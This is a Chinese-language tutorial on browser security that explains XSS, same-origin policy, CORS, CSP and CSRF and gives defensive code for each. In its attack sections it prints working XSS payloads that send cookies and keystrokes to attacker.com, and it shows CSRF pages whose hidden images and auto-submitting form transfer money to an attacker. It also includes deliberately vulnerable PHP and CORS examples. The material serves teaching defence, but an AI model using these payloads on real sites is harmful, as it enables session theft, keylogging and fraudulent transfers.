🛡️ 浏览器安全策略全解析:从攻击到防护的完整指南 浏览器安全策略是Web安全的第一道防线。本文将通过生动的攻防实例,带你深入理解SOP、CORS、XSS、CSRF、CSP等核心安全机制,让你不再死记硬背概念,而是真正掌握Web安全的精髓。
🎯 核心安全概念速览 在深入学习之前,让我们先建立一个整体认知:
浏览器安全的核心思想 :通过多层防护机制,确保恶意代码无法窃取用户数据或执行未授权操作。
🔥 常见攻击方式
**XSS (跨站脚本攻击)**:注入恶意JavaScript代码
**CSRF (跨站请求伪造)**:利用用户身份执行未授权操作
点击劫持 :诱导用户点击隐藏元素
中间人攻击 :拦截和篡改网络通信
攻击者的目标 :窃取用户凭证、执行恶意操作、获取敏感信息
🛡️ 浏览器防护策略
**SOP (同源策略)**:限制跨域资源访问
**CORS (跨域资源共享)**:安全的跨域请求机制
**CSP (内容安全策略)**:防止XSS攻击的强力工具
CSRF Token :防止跨站请求伪造
SameSite Cookie :限制Cookie的跨站发送
一、XSS攻击:当恶意代码潜入你的网站 💀 🎭 XSS的本质 XSS就像特洛伊木马 ,攻击者将恶意JavaScript代码伪装成正常内容,一旦用户访问页面,木马就会激活并执行恶意操作。
🔍 三种XSS攻击类型 ⚡ 反射型XSS - 即时攻击 攻击流程 :恶意代码通过URL参数传递,服务器直接返回到页面中执行
1 2 3 4 5 6 7 8 9 10 <div > 搜索结果: <?php echo $_GET['keyword']; ?> </div > https://vulnerable-site.com/search?keyword=<script > alert ('XSS攻击!' )</script > https://vulnerable-site.com/search?keyword=<script > document .location ='http://attacker.com/steal.php?cookie=' +document .cookie </script >
攻击演示 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <script> fetch ('https://attacker.com/collect' , { method : 'POST' , body : JSON .stringify ({ cookie : document .cookie , url : window .location .href , userAgent : navigator.userAgent }) }); setTimeout (() => { window .location .href = 'https://fake-bank.com/login' ; }, 2000 ); </script>
危险指数 : ⭐⭐⭐⭐传播方式 : 恶意链接、钓鱼邮件
💣 存储型XSS - 持久化攻击 攻击流程 :恶意代码被存储到服务器数据库,每次页面加载都会执行
1 2 3 4 5 <div class ="comment" > <h4 > 用户评论</h4 > <p > <?php echo $comment['content']; ?> </p > </div >
恶意评论示例 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <script> var iframe = document .createElement ('iframe' );iframe.style .display = 'none' ; iframe.src = 'https://attacker.com/collect.php?victim=' + document .cookie ; document .body .appendChild (iframe);document .addEventListener ('keydown' , function (e ) { fetch ('https://attacker.com/keylog' , { method : 'POST' , body : JSON .stringify ({ key : e.key , target : e.target .tagName , url : window .location .href }) }); }); </script>
危险指数 : ⭐⭐⭐⭐⭐影响范围 : 所有访问该页面的用户
🎯 DOM型XSS - 客户端攻击 攻击流程 :通过修改DOM结构执行恶意代码,不经过服务器
1 2 3 4 5 6 7 8 function updateContent ( ) { const hash = window .location .hash .substring (1 ); document .getElementById ('content' ).innerHTML = decodeURIComponent (hash); } https :
特点 : 不经过服务器,难以检测和防护危险指数 : ⭐⭐⭐⭐
🛡️ XSS防护实战 🔍 输入验证 - 第一道防线 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 const DOMPurify = require ('isomorphic-dompurify' );function sanitizeInput (input ) { const encoded = input .replace (/&/g , '&' ) .replace (/</g , '<' ) .replace (/>/g , '>' ) .replace (/"/g , '"' ) .replace (/'/g , ''' ); return encoded; } function sanitizeHtml (dirty ) { return DOMPurify .sanitize (dirty, { ALLOWED_TAGS : ['b' , 'i' , 'em' , 'strong' , 'a' , 'p' , 'br' ], ALLOWED_ATTR : ['href' ], ALLOW_DATA_ATTR : false }); }
🛡️ CSP策略 - 强力防护 1 2 3 4 5 6 7 8 <meta http-equiv ="Content-Security-Policy" content ="default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self'; object-src 'none';" >
1 2 3 4 5 6 7 8 9 10 11 12 13 const crypto = require ('crypto' );const nonce = crypto.randomBytes (16 ).toString ('base64' );res.send (` <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'nonce-${nonce} ';"> <script nonce="${nonce} "> // 只有带正确nonce的脚本才能执行 console.log('安全的脚本'); </script> ` );
二、同源策略(SOP):浏览器的安全边界 🏰 🏛️ 同源策略的本质 同源策略就像国家边境管制 ,只有来自同一个”国家”(源)的资源才能自由交流,不同”国家”的资源访问受到严格限制。
🔍 什么是”同源”?
graph TD
A[URL: https://example.com:443/path] --> B[协议: https]
A --> C[域名: example.com]
A --> D[端口: 443]
E[同源判断] --> F{协议相同?}
F -->|是| G{域名相同?}
F -->|否| H[❌ 非同源]
G -->|是| I{端口相同?}
G -->|否| H
I -->|是| J[✅ 同源]
I -->|否| H
📊 同源策略详解 🎯 同源判断 - 实例分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 const baseUrl = 'https://example.com:443/page' ;const testUrls = [ 'https://example.com/other' , 'https://example.com:443/api' , 'http://example.com/page' , 'https://api.example.com/data' , 'https://example.com:8080/api' , 'https://example.org/page' , ]; function isSameOrigin (url1, url2 ) { const a = new URL (url1); const b = new URL (url2); return a.protocol === b.protocol && a.hostname === b.hostname && a.port === b.port ; } testUrls.forEach (url => { console .log (`${url} : ${isSameOrigin(baseUrl, url) ? '✅ 同源' : '❌ 跨域' } ` ); });
✅ 豁免场景 - 允许的跨域操作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <img src ="https://cdn.other-domain.com/image.jpg" alt ="跨域图片" > <link rel ="stylesheet" href ="https://cdn.other-domain.com/styles.css" > <script src ="https://cdn.other-domain.com/script.js" > </script > <style > @font-face { font-family : 'CustomFont' ; src : url ('https://fonts.other-domain.com/font.woff2' ); } </style >
重要限制说明 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const canvas = document .createElement ('canvas' );const ctx = canvas.getContext ('2d' );const img = new Image ();img.src = 'https://other-domain.com/image.jpg' ; img.onload = function ( ) { ctx.drawImage (img, 0 , 0 ); try { const imageData = ctx.getImageData (0 , 0 , 100 , 100 ); } catch (error) { console .error ('无法读取跨域图片数据:' , error); } };
三、CORS:安全的跨域通行证 🌉 🌉 CORS的本质 CORS就像是外交签证系统 ,允许不同”国家”(域)之间进行受控的资源共享。服务器主动颁发”签证”(响应头),浏览器检查”签证”有效性后放行。
🔄 CORS工作流程
sequenceDiagram
participant Browser as 🌐 浏览器
participant Server as 🖥️ 服务器
Note over Browser,Server: 简单请求流程
Browser->>Server: 发送跨域请求<br/>Origin: https://app.com
Server->>Browser: 响应+CORS头<br/>Access-Control-Allow-Origin: https://app.com
Browser->>Browser: 检查CORS头<br/>✅ 允许访问响应
Note over Browser,Server: 预检请求流程
Browser->>Server: OPTIONS预检请求<br/>Origin: https://app.com<br/>Access-Control-Request-Method: POST
Server->>Browser: 预检响应<br/>Access-Control-Allow-Origin: https://app.com<br/>Access-Control-Allow-Methods: POST
Browser->>Server: 实际请求<br/>POST /api/data
Server->>Browser: 实际响应
📋 CORS请求分类 ✅ 简单请求 - 直接发送 满足以下条件的请求被视为简单请求 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 const simpleMethods = ['GET' , 'POST' , 'HEAD' ];const simpleHeaders = [ 'Accept' , 'Accept-Language' , 'Content-Language' , 'Content-Type' ]; const simpleContentTypes = [ 'text/plain' , 'multipart/form-data' , 'application/x-www-form-urlencoded' ]; fetch ('https://api.example.com/data' , { method : 'GET' , headers : { 'Accept' : 'application/json' } }); fetch ('https://api.example.com/submit' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' }, body : 'name=张三&age=25' });
🔍 预检请求 - 需要预检 以下情况会触发预检请求 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 fetch ('https://api.example.com/data' , { method : 'PUT' , body : JSON .stringify ({name : '张三' }) }); fetch ('https://api.example.com/data' , { method : 'GET' , headers : { 'X-Custom-Header' : 'value' , 'Authorization' : 'Bearer token' } }); fetch ('https://api.example.com/data' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' }, body : JSON .stringify ({data : 'test' }) });
预检请求详细流程 :
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🛠️ CORS配置实战 🖥️ 服务器配置 - 各种场景 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 const express = require ('express' );const app = express ();function corsMiddleware (req, res, next ) { const origin = req.headers .origin ; const allowedOrigins = [ 'https://app.example.com' , 'https://admin.example.com' , 'http://localhost:3000' ]; if (allowedOrigins.includes (origin)) { res.setHeader ('Access-Control-Allow-Origin' , origin); } res.setHeader ('Access-Control-Allow-Methods' , 'GET, POST, PUT, DELETE, OPTIONS' ); res.setHeader ('Access-Control-Allow-Headers' , 'Content-Type, Authorization, X-Requested-With, X-Custom-Header' ); res.setHeader ('Access-Control-Allow-Credentials' , 'true' ); res.setHeader ('Access-Control-Max-Age' , '86400' ); if (req.method === 'OPTIONS' ) { return res.status (200 ).end (); } next (); } app.use (corsMiddleware); const corsConfig = { development : { allowedOrigins : ['http://localhost:3000' , 'http://localhost:8080' ], allowCredentials : true }, production : { allowedOrigins : ['https://app.example.com' ], allowCredentials : true } }; function dynamicCors (req, res, next ) { const env = process.env .NODE_ENV || 'development' ; const config = corsConfig[env]; const origin = req.headers .origin ; if (config.allowedOrigins .includes (origin)) { res.setHeader ('Access-Control-Allow-Origin' , origin); res.setHeader ('Access-Control-Allow-Credentials' , config.allowCredentials ); } next (); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from flask import Flask, request, jsonifyfrom flask_cors import CORS, cross_originapp = Flask(__name__) CORS(app, origins=['https://app.example.com' , 'https://admin.example.com' ], methods=['GET' , 'POST' , 'PUT' , 'DELETE' ], allow_headers=['Content-Type' , 'Authorization' ], supports_credentials=True ) @app.route('/api/sensitive-data' ) @cross_origin(origins=['https://trusted-app.com' ], methods=['GET' ] ) def get_sensitive_data (): return jsonify({'data' : 'sensitive information' }) @app.route('/api/public-data' ) def get_public_data (): origin = request.headers.get('Origin' ) response = jsonify({'data' : 'public information' }) response.headers['Access-Control-Allow-Origin' ] = '*' return response
🌐 客户端实现 - 正确使用CORS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 class CORSClient { constructor (baseURL, options = {} ) { this .baseURL = baseURL; this .defaultOptions = { credentials : 'include' , headers : { 'Content-Type' : 'application/json' , ...options.headers } }; } async request (endpoint, options = {} ) { const url = `${this .baseURL} ${endpoint} ` ; const config = { ...this .defaultOptions , ...options, headers : { ...this .defaultOptions .headers , ...options.headers } }; try { const response = await fetch (url, config); if (!response.ok ) { throw new Error (`HTTP ${response.status} : ${response.statusText} ` ); } return await response.json (); } catch (error) { if (error.name === 'TypeError' && error.message .includes ('CORS' )) { console .error ('CORS错误:请检查服务器CORS配置' ); throw new Error ('跨域请求被阻止,请联系管理员' ); } throw error; } } get (endpoint, params = {} ) { const query = new URLSearchParams (params).toString (); const url = query ? `${endpoint} ?${query} ` : endpoint; return this .request (url, { method : 'GET' }); } post (endpoint, data ) { return this .request (endpoint, { method : 'POST' , body : JSON .stringify (data) }); } } const apiClient = new CORSClient ('https://api.example.com' );async function fetchUserData (userId ) { try { const userData = await apiClient.get (`/users/${userId} ` ); console .log ('用户数据:' , userData); return userData; } catch (error) { if (error.message .includes ('跨域' )) { showErrorMessage ('网络连接问题,请稍后重试' ); } else { showErrorMessage ('获取数据失败' ); } console .error ('请求失败:' , error); } }
🔒 安全配置 - 避免常见陷阱 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 app.use ((req, res, next ) => { res.setHeader ('Access-Control-Allow-Origin' , '*' ); res.setHeader ('Access-Control-Allow-Credentials' , 'true' ); next (); }); const secureCorsMidllware = (req, res, next ) => { const origin = req.headers .origin ; const allowedOrigins = process.env .ALLOWED_ORIGINS ?.split (',' ) || []; if (allowedOrigins.includes (origin)) { res.setHeader ('Access-Control-Allow-Origin' , origin); if (req.path .startsWith ('/api/auth/' ) || req.path .startsWith ('/api/user/' )) { res.setHeader ('Access-Control-Allow-Credentials' , 'true' ); } const safeMethods = ['GET' , 'POST' , 'PUT' , 'DELETE' ]; res.setHeader ('Access-Control-Allow-Methods' , safeMethods.join (', ' )); const allowedHeaders = [ 'Content-Type' , 'Authorization' , 'X-Requested-With' ]; res.setHeader ('Access-Control-Allow-Headers' , allowedHeaders.join (', ' )); res.setHeader ('Access-Control-Max-Age' , '3600' ); } else { console .warn (`未授权的跨域请求来自: ${origin} ` ); } next (); };
CORS安全要点 :
🚫 绝不使用 Access-Control-Allow-Origin: * + Access-Control-Allow-Credentials: true
📝 严格验证 允许的源,使用白名单机制
🔍 最小权限原则 只允许必要的方法和请求头
📊 记录和监控 跨域请求,发现异常访问
🚨 CORS安全风险与防护 ⚠️ 常见CORS安全问题 1. 过度宽松的配置
1 2 3 4 5 res.setHeader ('Access-Control-Allow-Origin' , '*' ); res.setHeader ('Access-Control-Allow-Methods' , '*' ); res.setHeader ('Access-Control-Allow-Headers' , '*' );
2. 动态源验证漏洞
1 2 3 4 5 6 const origin = req.headers .origin ;if (origin && origin.endsWith ('.example.com' )) { res.setHeader ('Access-Control-Allow-Origin' , origin); }
3. 正确的安全实现
1 2 3 4 5 6 7 8 9 10 11 const ALLOWED_ORIGINS = new Set ([ 'https://app.example.com' , 'https://admin.example.com' , 'https://mobile.example.com' ]); const origin = req.headers .origin ;if (ALLOWED_ORIGINS .has (origin)) { res.setHeader ('Access-Control-Allow-Origin' , origin); }
四、CSP:XSS攻击的强力克星 🛡️ 🛡️ CSP的本质 CSP(内容安全策略)就像是网站的安全守卫 ,它定义了哪些资源可以被加载和执行,哪些不可以。即使攻击者成功注入了恶意代码,CSP也能阻止其执行,是防护XSS攻击的最后一道防线。
🔧 CSP工作原理
graph TD
A[浏览器加载页面] --> B{检查CSP策略}
B --> C[解析资源请求]
C --> D{资源符合CSP规则?}
D -->|✅ 符合| E[允许加载资源]
D -->|❌ 违反| F[阻止加载资源]
F --> G[控制台报错]
F --> H[发送违规报告]
E --> I[正常执行代码]
style D fill:#f9f,stroke:#333,stroke-width:2px
style F fill:#f99,stroke:#333,stroke-width:2px
style E fill:#9f9,stroke:#333,stroke-width:2px
📋 CSP指令详解 🎯 核心指令 - 控制资源加载 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <meta http-equiv ="Content-Security-Policy" content ="default-src 'self';" > <meta http-equiv ="Content-Security-Policy" content ="script-src 'self' https://cdn.jsdelivr.net;" > <meta http-equiv ="Content-Security-Policy" content ="style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;" > <meta http-equiv ="Content-Security-Policy" content ="img-src 'self' data: https:;" > <meta http-equiv ="Content-Security-Policy" content ="connect-src 'self' https://api.example.com;" >
CSP关键字说明 :
1 2 3 4 5 6 7 8 9 10 const cspKeywords = { "'self'" : "只允许同源资源" , "'none'" : "不允许任何资源" , "'unsafe-inline'" : "允许内联脚本/样式(不安全)" , "'unsafe-eval'" : "允许eval()等动态代码执行(不安全)" , "'strict-dynamic'" : "信任动态加载的脚本" , "data:" : "允许data: URI" , "https:" : "允许所有HTTPS资源" , "*.example.com" : "允许example.com的所有子域名" };
⚡ 高级控制 - 精细化管理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <meta http-equiv ="Content-Security-Policy" content ="object-src 'none';" > <meta http-equiv ="Content-Security-Policy" content ="media-src 'self' https://video.example.com;" > <meta http-equiv ="Content-Security-Policy" content ="frame-src 'none';" > <meta http-equiv ="Content-Security-Policy" content ="font-src 'self' https://fonts.gstatic.com;" > <meta http-equiv ="Content-Security-Policy" content ="manifest-src 'self';" >
安全增强指令 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <meta http-equiv ="Content-Security-Policy" content ="base-uri 'self';" > <meta http-equiv ="Content-Security-Policy" content ="form-action 'self' https://secure.example.com;" > <meta http-equiv ="Content-Security-Policy" content ="frame-ancestors 'none';" > <meta http-equiv ="Content-Security-Policy" content ="upgrade-insecure-requests;" >
🛠️ CSP实战配置 📈 渐进部署 - 从监控到强制 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 app.use ((req, res, next ) => { res.setHeader ('Content-Security-Policy-Report-Only' , "default-src 'self'; " + "script-src 'self' 'unsafe-inline'; " + "style-src 'self' 'unsafe-inline'; " + "img-src 'self' data: https:; " + "report-uri /csp-report; " + "report-to csp-endpoint" ); next (); }); app.post ('/csp-report' , express.json (), (req, res ) => { const report = req.body ['csp-report' ]; console .log ('CSP违规报告:' , { documentUri : report['document-uri' ], violatedDirective : report['violated-directive' ], blockedUri : report['blocked-uri' ], sourceFile : report['source-file' ], lineNumber : report['line-number' ], timestamp : new Date ().toISOString () }); logCSPViolation (report); res.status (204 ).end (); }); const cspPolicies = { phase1 : { 'default-src' : "'self'" , 'script-src' : "'self' 'unsafe-inline' https://cdn.jsdelivr.net" , 'style-src' : "'self' 'unsafe-inline' https://fonts.googleapis.com" , 'img-src' : "'self' data: https:" , 'report-uri' : "/csp-report" }, phase2 : { 'default-src' : "'self'" , 'script-src' : "'self' https://cdn.jsdelivr.net" , 'style-src' : "'self' https://fonts.googleapis.com" , 'img-src' : "'self' data: https:" , 'report-uri' : "/csp-report" }, phase3 : { 'default-src' : "'self'" , 'script-src' : "'self'" , 'style-src' : "'self'" , 'img-src' : "'self' data:" , 'connect-src' : "'self' https://api.example.com" , 'object-src' : "'none'" , 'base-uri' : "'self'" , 'frame-ancestors' : "'none'" , 'report-uri' : "/csp-report" } };
🎲 Nonce策略 - 最安全的方案 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 const crypto = require ('crypto' );function generateNonce ( ) { return crypto.randomBytes (16 ).toString ('base64' ); } app.use ((req, res, next ) => { res.locals .scriptNonce = generateNonce (); res.locals .styleNonce = generateNonce (); res.setHeader ('Content-Security-Policy' , `default-src 'self'; ` + `script-src 'self' 'nonce-${res.locals.scriptNonce} '; ` + `style-src 'self' 'nonce-${res.locals.styleNonce} '; ` + `object-src 'none'; ` + `base-uri 'self'; ` + `frame-ancestors 'none';` ); next (); }); app.get ('/' , (req, res ) => { const html = ` <!DOCTYPE html> <html> <head> <style nonce="${res.locals.styleNonce} "> body { font-family: Arial, sans-serif; } .safe-style { color: blue; } </style> </head> <body> <h1>安全的页面</h1> <div class="safe-style">这个样式是安全的</div> <script nonce="${res.locals.scriptNonce} "> // 只有带有正确nonce的脚本才能执行 console.log('这个脚本是安全的'); // 安全的事件处理 document.addEventListener('DOMContentLoaded', function() { console.log('页面加载完成'); }); </script> <!-- ❌ 这个脚本没有nonce,会被CSP阻止 --> <!-- <script>alert('这个脚本会被阻止');</script> --> </body> </html> ` ; res.send (html); });
React应用中的Nonce使用 :
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🏗️ 生产配置 - 企业级部署 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 class CSPManager { constructor (options = {} ) { this .environment = options.environment || 'production' ; this .reportUri = options.reportUri || '/csp-report' ; this .trustedDomains = options.trustedDomains || []; } generatePolicy ( ) { const basePolicy = { 'default-src' : ["'self'" ], 'object-src' : ["'none'" ], 'base-uri' : ["'self'" ], 'frame-ancestors' : ["'none'" ], 'form-action' : ["'self'" ], 'upgrade-insecure-requests' : true }; if (this .environment === 'development' ) { return this .getDevelopmentPolicy (basePolicy); } else { return this .getProductionPolicy (basePolicy); } } getDevelopmentPolicy (base ) { return { ...base, 'script-src' : [ "'self'" , "'unsafe-eval'" , 'localhost:*' , '127.0.0.1:*' ], 'style-src' : [ "'self'" , "'unsafe-inline'" , 'localhost:*' ], 'connect-src' : [ "'self'" , 'ws://localhost:*' , 'http://localhost:*' ], 'img-src' : ["'self'" , 'data:' , 'blob:' ] }; } getProductionPolicy (base ) { return { ...base, 'script-src' : [ "'self'" , ...this .trustedDomains , "'sha256-xyz123...'" , ], 'style-src' : [ "'self'" , 'https://fonts.googleapis.com' , ...this .trustedDomains ], 'img-src' : [ "'self'" , 'data:' , 'https:' , ...this .trustedDomains ], 'connect-src' : [ "'self'" , 'https://api.example.com' , 'https://analytics.example.com' ], 'font-src' : [ "'self'" , 'https://fonts.gstatic.com' ], 'report-uri' : [this .reportUri ], 'report-to' : ['csp-endpoint' ] }; } formatPolicy (policy ) { return Object .entries (policy) .map (([directive, sources] ) => { if (typeof sources === 'boolean' ) { return sources ? directive : null ; } return `${directive} ${sources.join(' ' )} ` ; }) .filter (Boolean ) .join ('; ' ); } middleware ( ) { return (req, res, next ) => { const policy = this .generatePolicy (); const policyString = this .formatPolicy (policy); res.setHeader ('Content-Security-Policy' , policyString); if (this .environment === 'production' ) { res.setHeader ('Content-Security-Policy-Report-Only' , policyString.replace (this .reportUri , '/csp-report-only' ) ); } next (); }; } } const cspManager = new CSPManager ({ environment : process.env .NODE_ENV , reportUri : '/security/csp-report' , trustedDomains : [ 'https://cdn.jsdelivr.net' , 'https://unpkg.com' ] }); app.use (cspManager.middleware ());
五、CSRF:隐形的身份冒用攻击 🎭 🎭 CSRF的本质 CSRF就像是身份冒用诈骗 ,攻击者利用用户在目标网站的身份凭证(Cookie),在用户不知情的情况下执行恶意操作。用户就像被人拿着身份证去银行转账,而自己却毫不知情。
🔍 CSRF攻击原理
sequenceDiagram
participant User as 👤 用户
participant Bank as 🏦 银行网站
participant Evil as 😈 恶意网站
User->>Bank: 1. 正常登录
Bank->>User: 2. 返回Session Cookie
Note over User,Evil: 用户在另一个标签页访问恶意网站
User->>Evil: 3. 访问恶意网站
Evil->>User: 4. 返回包含恶意请求的页面
Note over User,Bank: 浏览器自动发送恶意请求
User->>Bank: 5. 自动发送转账请求<br/>(携带有效Cookie)
Bank->>User: 6. 转账成功!<br/>(银行认为是用户本人操作)
Note over User: 用户毫不知情地损失了钱财
💀 CSRF攻击实例 ⚡ GET型攻击 - 最简单的攻击 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <!DOCTYPE html > <html > <head > <title > 免费抽奖!</title > </head > <body > <h1 > 🎉 恭喜你获得大奖!</h1 > <p > 正在为你领取奖品...</p > <img src ="https://bank.com/transfer?to=attacker&amount=10000" style ="display:none;" /> <img src ="https://social.com/api/follow?user=attacker" style ="display:none;" /> <img src ="https://email.com/api/forward?to=attacker@evil.com" style ="display:none;" /> <script > setTimeout (() => { window .location .href = '/real-prize-page.html' ; }, 3000 ); </script > </body > </html >
攻击效果 :
用户看到的:一个正常的抽奖页面
实际发生的:银行账户被转走10000元,社交账号被关注,邮件被转发…
💣 POST型攻击 - 更隐蔽的攻击 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <!DOCTYPE html > <html > <head > <title > 网站维护通知</title > </head > <body > <h2 > 系统维护中,请稍候...</h2 > <div id ="loading" > 🔄 正在重定向...</div > <form id ="csrf-form" action ="https://bank.com/api/transfer" method ="POST" style ="display:none;" > <input type ="hidden" name ="to_account" value ="attacker-account" > <input type ="hidden" name ="amount" value ="50000" > <input type ="hidden" name ="memo" value ="Business payment" > </form > <script > setTimeout (() => { document .getElementById ('csrf-form' ).submit (); }, 1000 ); setTimeout (() => { document .body .innerHTML = '<h2>感谢访问,页面即将跳转...</h2>' ; }, 2000 ); </script > </body > </html >
🛡️ CSRF防护策略 CSRF Token SameSite Cookie 🎫 CSRF Token - 经典防护 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 const crypto = require ('crypto' );function generateCSRFToken (sessionId ) { const secret = process.env .CSRF_SECRET || 'your-secret-key' ; const timestamp = Date .now (); const hmac = crypto.createHmac ('sha256' , secret); hmac.update (`${sessionId} :${timestamp} ` ); const signature = hmac.digest ('hex' ); return `${timestamp} .${signature} ` ; } function csrfProtection (req, res, next ) { if (req.method === 'GET' ) { return next (); } const token = req.headers ['x-csrf-token' ] || req.body ._csrf || req.query ._csrf ; const sessionId = req.session .id ; if (!verifyCSRFToken (token, sessionId)) { return res.status (403 ).json ({ error : 'CSRF token验证失败' }); } next (); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 class CSRFProtectedAPI { constructor ( ) { this .csrfToken = null ; this .initCSRFToken (); } async initCSRFToken ( ) { try { const response = await fetch ('/api/csrf-token' , { credentials : 'include' }); const data = await response.json (); this .csrfToken = data.csrfToken ; } catch (error) { console .error ('获取CSRF Token失败:' , error); } } async post (url, data ) { if (!this .csrfToken ) { await this .initCSRFToken (); } return fetch (url, { method : 'POST' , credentials : 'include' , headers : { 'Content-Type' : 'application/json' , 'X-CSRF-Token' : this .csrfToken }, body : JSON .stringify (data) }); } }
🍪 SameSite Cookie - 现代防护 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 app.use (session ({ name : 'sessionId' , secret : 'session-secret' , cookie : { httpOnly : true , secure : true , sameSite : 'strict' , maxAge : 24 * 60 * 60 * 1000 } })); const cookieSettings = { strict : { sameSite : 'strict' , }, lax : { sameSite : 'lax' , }, none : { sameSite : 'none' , secure : true , } };
SameSite Cookie的限制 :
🚫 Strict模式:从外部链接访问时需要重新登录
✅ Lax模式:平衡安全性和用户体验的最佳选择
⚠️ None模式:必须配合HTTPS使用
🎯 总结与最佳实践 💡 浏览器安全核心要点
多层防护 :不要依赖单一安全机制,要构建纵深防御体系
输入验证 :永远不要信任用户输入,所有数据都要进行验证和过滤
最小权限 :只给予必要的权限,限制不必要的跨域访问
持续监控 :建立安全监控和告警机制,及时发现异常行为
⚠️ 常见安全误区
过度依赖前端验证 :前端验证只是用户体验优化,真正的安全验证必须在后端
CORS配置过于宽松 :Access-Control-Allow-Origin: * 是极其危险的配置
忽视CSP策略 :CSP是防止XSS攻击的有力工具,不应该被忽视
Cookie安全配置不当 :HttpOnly、Secure、SameSite等属性都很重要
设计安全的架构
制定安全编码规范
选择安全的框架和库
设计合理的权限控制体系
落实安全措施
实施输入验证和输出编码
配置CSRF防护机制
部署CSP内容安全策略
设置安全的Cookie属性
持续安全监控
监控异常访问行为
分析安全日志
及时更新安全补丁
制定应急响应预案
🚀 进阶学习建议
实践为主 :在测试环境中尝试各种攻击和防护手段
关注安全动态 :订阅安全资讯,了解最新的攻击手法
学习安全工具 :掌握常用的安全测试和监控工具
参与安全社区 :与其他安全专家交流经验和最佳实践
浏览器安全是一个复杂而重要的topic,需要我们在开发的每个环节都保持安全意识。通过理解这些核心概念和实践防护措施,我们可以构建更加安全可靠的Web应用。🛡️
🎯 实战演练:安全攻防场景分析 💡 学以致用 理论知识学完了,现在通过几个真实的攻防场景来检验你的理解程度。每个场景都包含完整的攻击代码和分析过程,帮你建立实战思维。
🎮 挑战场景 场景一:API数据窃取 场景二:CSP绕过攻击 场景三:CSRF攻击 🎯 场景一 - 私有API数据窃取攻击 🏛️ 情景设定
目标网站 : 私有笔记应用API https://api.securenote.com/v1/notes/1认证方式 : Cookie身份认证CORS配置 : Access-Control-Allow-Origin: https://app.securenote.com攻击者 : 钓鱼网站 https://evil-hacker.com
💀 攻击代码
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🤔 思考题
这个攻击能成功吗?
如果失败,是哪个安全机制起了作用?
🔍 结果分析 攻击结果 : ❌ 失败 防护机制 : CORS (跨域资源共享)
详细过程 :
请求发送 : 浏览器正常发送请求,并携带用户的Cookie
服务器响应 : API服务器验证Cookie后返回笔记数据
CORS检查 : 浏览器检查响应头 Access-Control-Allow-Origin: https://app.securenote.com
访问拒绝 : 发现请求来源 https://evil-hacker.com 不在白名单中
阻止读取 : 浏览器阻止JavaScript读取响应内容,攻击失败
关键点 : 请求会发送,但响应内容无法被读取!
🎯 场景二 - CSP配置错误导致的XSS攻击 🏛️ 情景设定
目标网站 : 博客评论系统 https://blog.com/post/1XSS漏洞 : 评论区未过滤 <script> 标签CSP配置 : Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'攻击方式 : 存储型XSS攻击
💀 攻击代码
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🤔 思考题
这个XSS攻击能成功执行吗?
CSP配置哪里出现了问题?
